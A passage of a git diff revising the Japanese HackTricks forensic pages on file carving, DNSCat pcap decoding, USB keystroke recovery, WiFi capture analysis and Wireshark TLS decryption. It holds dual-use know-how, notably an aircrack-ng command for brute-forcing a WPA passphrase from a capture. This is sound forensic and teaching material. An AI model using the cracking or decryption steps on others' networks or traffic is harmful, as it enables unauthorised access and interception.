-**Binwalk**はバイナリファイルを分析して埋め込まれたコンテンツを見つけるためのツールです。`apt`を介してインストールでき、そのソースは[GitHub](https://github.com/ReFirmLabs/binwalk)にあります。 +**Binwalk** はバイナリファイルを分析して埋め込まれたコンテンツを見つけるためのツールです。`apt` を介してインストール可能で、そのソースは [GitHub](https://github.com/ReFirmLabs/binwalk) にあります。 **便利なコマンド**: ```bash @@ -43,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ### Foremost -もう1つの一般的な隠しファイルを見つけるためのツールは **foremost** です。Foremost の設定ファイルは `/etc/foremost.conf` にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremost はデフォルトで設定されたファイルタイプを検索します。 +もう1つの一般的な隠しファイルを見つけるためのツールは **foremost** です。 foremost の設定ファイルは `/etc/foremost.conf` にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントアウトしない場合、foremost はデフォルトで構成されたファイルタイプを検索します。 ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -51,7 +51,7 @@ foremost -v -i file.img -o output ``` ### **Scalpel** -**Scalpel**は、ファイルに埋め込まれたファイルを見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを設定ファイル(_/etc/scalpel/scalpel.conf_)からコメントアウトする必要があります。 +**Scalpel**は、ファイルに埋め込まれたファイルを見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを構成ファイル(_/etc/scalpel/scalpel.conf_)からコメントアウトする必要があります。 ```bash sudo apt-get install scalpel scalpel file.img -o output @@ -60,17 +60,17 @@ scalpel file.img -o output このツールはKaliに含まれていますが、こちらで見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) -このツールは画像をスキャンし、**その中からpcapsを抽出**し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**や**その他のファイル**を取得することができます。行う必要があるのは以下の通りです: +このツールは画像をスキャンし、その中に含まれる**pcapsを抽出**し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**や他の**ファイル**を取得することができます。以下の手順のみを実行する必要があります: ``` bulk_extractor memory.img -o out_folder ``` ### PhotoRec -[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) で入手できます。 +[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) で見つけることができます。 -GUI と CLI バージョンがあります。PhotoRec が検索する**ファイルタイプ**を選択できます。 +GUI と CLI のバージョンがあります。PhotoRec が検索する**ファイルタイプ**を選択できます。 -![](<../../../.gitbook/assets/image (524).png>) +![](<../../../.gitbook/assets/image (242).png>) ### binvis @@ -82,10 +82,10 @@ GUI と CLI バージョンがあります。PhotoRec が検索する**ファイ - 異なる焦点点のための複数のプロット - サンプルの一部に焦点を当てる - PE や ELF 実行可能ファイル内の**文字列やリソース**を見る -- ファイルの暗号解析のための**パターン**を取得 -- パッカーやエンコーダーアルゴリズムを**特定** -- パターンによるステガノグラフィを**識別** -- バイナリの差分を**視覚化** +- ファイルの暗号解読のための**パターン**を取得 +- パッカーやエンコーダーアルゴリズムを**見つける** +- パターンによるステガノグラフィを**特定する** +- **ビジュアル**バイナリ差分 BinVis は、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**スタートポイント**です。 @@ -93,11 +93,11 @@ BinVis は、ブラックボックスシナリオで未知のターゲットに ### FindAES -TrueCrypt や BitLocker で使用されるような 128、192、256 ビットのキーを見つけるために、キースケジュールを検索することで AES キーを検索します。 +TrueCrypt や BitLocker で使用されるような 128、192、256 ビットの鍵を見つけるために、鍵スケジュールを検索することで AES 鍵を検索します。 -[こちらからダウンロード](https://sourceforge.net/projects/findaes/) +[こちらからダウンロード](https://sourceforge.net/projects/findaes/)できます。 -## 付随するツール +## 補足ツール -ターミナルから画像を表示するために [**viu** ](https://github.com/atanunq/viu)を使用できます。\ -Linux コマンドラインツール **pdftotext** を使用して、PDF をテキストに変換して読むことができます。 +画像を端末から見るために [**viu** ](https://github.com/atanunq/viu)を使用できます。\ +Linux コマンドラインツール **pdftotext** を使用して、pdf をテキストに変換して読むことができます。 diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index 540df6744..e7bc802ae 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -1,30 +1,32 @@ +# DNSCat pcap analysis +
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricks をサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で **フォロー**する。 -* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
-### [WhiteIntel](https://whiteintel.io) +#### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、**盗難マルウェア**による**侵害**を受けたかどうかを確認する**無料**機能を提供しています。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 -彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: +彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: {% embed url="https://whiteintel.io" %} ---- +*** DNSCatによって**暗号化を使用せずに**データが**外部に送信**されるpcapを持っている場合、外部に送信されたコンテンツを見つけることができます。 @@ -47,24 +49,23 @@ last = qry #print(f) ``` -詳細については: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ +For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) - -Python3で動作するスクリプトがあります: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) +There is a script that works with Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) ``` python3 dnscat_decoder.py sample.pcap bad_domain ```
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローする。** -* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出する。** +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 +* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 88730efec..e6948caf0 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -1,39 +1,39 @@ +# USB キーストローク +
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +**htARTE (HackTricks AWS Red Team Expert)** で **ゼロからヒーローまで AWS ハッキングを学ぶ** HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で **フォロー**する。 -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する。 +- **HackTricks で企業を宣伝**したい場合や **HackTricks を PDF でダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +- [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +- **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする +- **ハッキングテクニックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに貢献する
- -USBキーボードの通信を含むpcapファイルがある場合、次のようなキーボードの通信を解析するために、[**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser)ツールを使用できます: +USB キーボードの通信を含む pcap ファイルがある場合、以下のようなキーボードの通信を解析するために [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) ツールを使用できます: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` -以下のリンクから詳細情報や解析スクリプトを見つけることができます: +以下のリンクから詳細情報を読むことができ、解析に使用するスクリプトも見つけることができます: * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) -* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) - +* [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup)
-htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する。 -* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。 +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する +* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index 13f0b86fd..63ce2b525 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,50 +1,63 @@ +# Wifi Pcap Analysis +
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする** -* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
+## BSSIDの確認 -# BSSIDの確認 +WireSharkを使用してWifiの主要なトラフィックを含むキャプチャを受信した場合、キャプチャ内のすべてのSSIDを調査を開始することができます。_Wireless --> WLAN Traffic_: -WireSharkを使用してWifiの主要トラフィックを含むキャプチャを受信した場合、_Wireless --> WLAN Traffic_ でキャプチャのすべてのSSIDを調査を開始できます: +![](<../../../.gitbook/assets/image (106).png>) -![](<../../../.gitbook/assets/image (424).png>) +![](<../../../.gitbook/assets/image (492).png>) -![](<../../../.gitbook/assets/image (425).png>) +### ブルートフォース -## ブルートフォース - -その画面の列の1つは、**pcap内で認証が見つかったかどうか**を示します。その場合、`aircrack-ng`を使用してブルートフォースできます: +その画面の列の1つは、**pcap内で認証情報が見つかったかどうか**を示しています。その場合、`aircrack-ng`を使用してブルートフォース攻撃を試みることができます。 ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` -# ビーコン/サイドチャネル内のデータ +## ビーコン/サイドチャネル内のデータ -例えば、後でトラフィックを復号化するために必要となるPSK(事前共有キー)を保護するWPAパスフレーズを取得します。 +**Wifiネットワークのビーコン内でデータが漏洩している**と疑う場合は、次のようなフィルタを使用してネットワークのビーコンをチェックできます: `wlan contains `、または `wlan.ssid == "NAMEofNETWORK"`。フィルタされたパケット内で疑わしい文字列を検索します。 -**ビーコン内でデータが漏洩している**と疑う場合、次のようなフィルタを使用してネットワークのビーコンをチェックできます: `wlan contains `、または `wlan.ssid == "NAMEofNETWORK"`。フィルタされたパケット内で疑わしい文字列を検索します。 +## Wifiネットワーク内の不明なMACアドレスを見つける -# Wifiネットワーク内の不明なMACアドレスを見つける - -次のリンクは、**Wifiネットワーク内でデータを送信しているマシン**を見つけるのに役立ちます: +次のリンクは、**Wifiネットワーク内でデータを送信している機器を見つける**のに役立ちます: * `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` すでに**MACアドレスを知っている場合は、それらを出力から削除**するために、次のようなチェックを追加できます: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -ネットワーク内で通信している**不明なMAC**アドレスを検出したら、次のような**フィルタ**を使用できます: `wlan.addr== && (ftp || http || ssh || telnet)`。ftp/http/ssh/telnetフィルタは、トラフィックを復号化している場合に有用です。 +ネットワーク内で通信している**不明なMAC**アドレスを検出したら、次のような**フィルタ**を使用できます: `wlan.addr== && (ftp || http || ssh || telnet)`。ftp/http/ssh/telnetフィルタは、トラフィックを復号化済みの場合に有用です。 -# トラフィックの復号化 +## トラフィックの復号化 編集 --> 設定 --> プロトコル --> IEEE 802.11 --> 編集 -![](<../../../.gitbook/assets/image (426).png>) +![](<../../../.gitbook/assets/image (499).png>) + +
+ +htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ こちら + +HackTricksをサポートする他の方法: + +* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 + +
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index c44619634..2b9530307 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -2,7 +2,7 @@
-htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ +htARTE(HackTricks AWS Red Team Expert) htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ HackTricksをサポートする他の方法: @@ -10,15 +10,15 @@ HackTricksをサポートする他の方法: - [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする -- **Hackingトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 @@ -26,67 +26,67 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン {% embed url="https://whiteintel.io" %} ---- +*** ## Wiresharkスキルの向上 ### チュートリアル -以下のチュートリアルは、いくつかのクールな基本的なトリックを学ぶのに素晴らしいです: +次のチュートリアルは、いくつかのクールな基本的なトリックを学ぶのに素晴らしいです: - [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/) - [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/) - [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/) - [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/) -### 分析された情報 +### 分析情報 **専門家情報** -_Analyze_ --> _Expert Information_をクリックすると、**分析された**パケットで何が起こっているかの**概要**が表示されます: +_Analyze_ --> **Expert Information**をクリックすると、**分析された**パケットで何が起こっているかの**概要**が表示されます: -![](<../../../.gitbook/assets/image (253).png>) +![](<../../../.gitbook/assets/image (256).png>) -**解決されたアドレス** +**解決済みアドレス** -_Statistics_ --> _Resolved Addresses_の下には、wiresharkによって**解決された**ポート/トランスポートからプロトコル、MACから製造業者など、いくつかの**情報**が表示されます。通信に関わるものを知ることは興味深いです。 - -![](<../../../.gitbook/assets/image (890).png>) - -**プロトコル階層** - -_Statistics_ --> _Protocol Hierarchy_の下には、通信に関与する**プロトコル**とそれに関するデータが表示されます。 - -![](<../../../.gitbook/assets/image (583).png>) - -**会話** - -_Statistics_ --> _Conversations_の下には、通信中の**会話の要約**とそれに関するデータが表示されます。 - -![](<../../../.gitbook/assets/image (450).png>) - -**エンドポイント** - -_Statistics_ --> _Endpoints_の下には、通信中の**エンドポイントの要約**とそれぞれに関するデータが表示されます。 +_Statistics --> Resolved Addresses_の下には、wiresharkによって**解決された**ポート/トランスポートからプロトコル、MACから製造業者など、いくつかの**情報**が表示されます。通信に関わるものを知ることは興味深いです。 ![](<../../../.gitbook/assets/image (893).png>) +**プロトコル階層** + +_Statistics --> Protocol Hierarchy_の下には、通信に関与する**プロトコル**とそれに関するデータが表示されます。 + +![](<../../../.gitbook/assets/image (586).png>) + +**会話** + +_Statistics --> Conversations_の下には、通信中の**会話の要約**とそれに関するデータが表示されます。 + +![](<../../../.gitbook/assets/image (453).png>) + +**エンドポイント** + +_Statistics --> Endpoints_の下には、通信中の**エンドポイントの要約**とそれぞれに関するデータが表示されます。 + +![](<../../../.gitbook/assets/image (896).png>) + **DNS情報** -_Statistics_ --> _DNS_の下には、キャプチャされたDNSリクエストに関する統計が表示されます。 +_Statistics --> DNS_の下には、キャプチャされたDNSリクエストに関する統計が表示されます。 -![](<../../../.gitbook/assets/image (1060).png>) +![](<../../../.gitbook/assets/image (1063).png>) **I/Oグラフ** -_Statistics_ --> _I/O Graph_の下には、通信の**グラフ**が表示されます。 +_Statistics --> I/O Graph_の下には、通信の**グラフ**が表示されます。 -![](<../../../.gitbook/assets/image (989).png>) +![](<../../../.gitbook/assets/image (992).png>) -### フィルタ +### フィルター -ここでは、プロトコルに応じたWiresharkフィルタを見つけることができます:[https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ -他の興味深いフィルタ: +ここでは、プロトコルに応じたWiresharkフィルターを見つけることができます:[https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ +他の興味深いフィルター: - `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` - HTTPおよび初期HTTPSトラフィック @@ -97,7 +97,7 @@ _Statistics_ --> _I/O Graph_の下には、通信の**グラフ**が表示され ### 検索 -セッションのパケット内の**コンテンツ**を**検索**したい場合は、_CTRL+f_を押します。右ボタンを押してから列を編集することで、メイン情報バーに新しいレイヤーを追加できます(番号、時間、ソースなど)。 +セッションのパケット内の**コンテンツ**を**検索**したい場合は、_CTRL+f_を押します。右ボタンを押してから列を編集して、メイン情報バーに新しいレイヤーを追加できます(番号、時間、ソースなど)。 ### 無料のpcapラボ @@ -107,7 +107,7 @@ _Statistics_ --> _I/O Graph_の下には、通信の**グラフ**が表示され Host HTTPヘッダーを表示する列を追加できます: -![](<../../../.gitbook/assets/image (635).png>) +![](<../../../.gitbook/assets/image (639).png>) そして、初期化HTTPS接続からサーバー名を追加する列を追加できます(**ssl.handshake.type == 1**): @@ -119,35 +119,35 @@ Host HTTPヘッダーを表示する列を追加できます: 現在のWiresharkでは、`bootp`の代わりに`DHCP`を検索する必要があります -![](<../../../.gitbook/assets/image (1010).png>) +![](<../../../.gitbook/assets/image (1013).png>) ### NBNSから -![](<../../../.gitbook/assets/image (1000).png>) +![](<../../../.gitbook/assets/image (1003).png>) ## TLSの復号化 -### サーバーのプライベートキーを使用してhttpsトラフィックを復号化 +### サーバーの秘密鍵を使用してhttpsトラフィックを復号化する _edit>preference>protocol>ssl>_ -![](<../../../.gitbook/assets/image (1100).png>) +![](<../../../.gitbook/assets/image (1103).png>) _Edit_を押して、サーバーとプライベートキーのすべてのデータ(_IP、ポート、プロトコル、キーファイル、パスワード_)を追加します -### 対称セッションキーを使用してhttpsトラフィックを復号化 +### 対称セッションキーを使用してhttpsトラフィックを復号化する -FirefoxとChromeの両方には、TLSセッションキーを記録する機能があり、これをWiresharkで使用してTLSトラフィックを復号化できます。これにより、セキュアな通信の詳細な分析が可能になります。この復号化を実行する方法の詳細については、[Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)のガイドで見つけることができます。 +FirefoxとChromeの両方には、TLSセッションキーを記録できる機能があり、これをWiresharkで使用してTLSトラフィックを復号化できます。これにより、セキュアな通信の詳細な分析が可能になります。この復号化を実行する方法の詳細については、[Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)のガイドで見つけることができます。 これを検出するには、環境内で`SSLKEYLOGFILE`変数を検索します 共有キーのファイルは次のようになります: -![](<../../../.gitbook/assets/image (817).png>) +![](<../../../.gitbook/assets/image (820).png>) -Wiresharkにこれをインポートするには、\_edit > preference > protocol > ssl > に移動し、(Pre)-Master-Secretログファイル名にインポートします: +これをWiresharkにインポートするには、\_edit > preference > protocol > ssl > に移動し、(Pre)-Master-Secretログファイル名にインポートします: -![](<../../../.gitbook/assets/image (986).png>) +![](<../../../.gitbook/assets/image (989).png>) ## ADB通信 APKが送信されたADB通信からAPKを抽出します: @@ -179,27 +179,26 @@ f.close() ``` ### [WhiteIntel](https://whiteintel.io) -
+
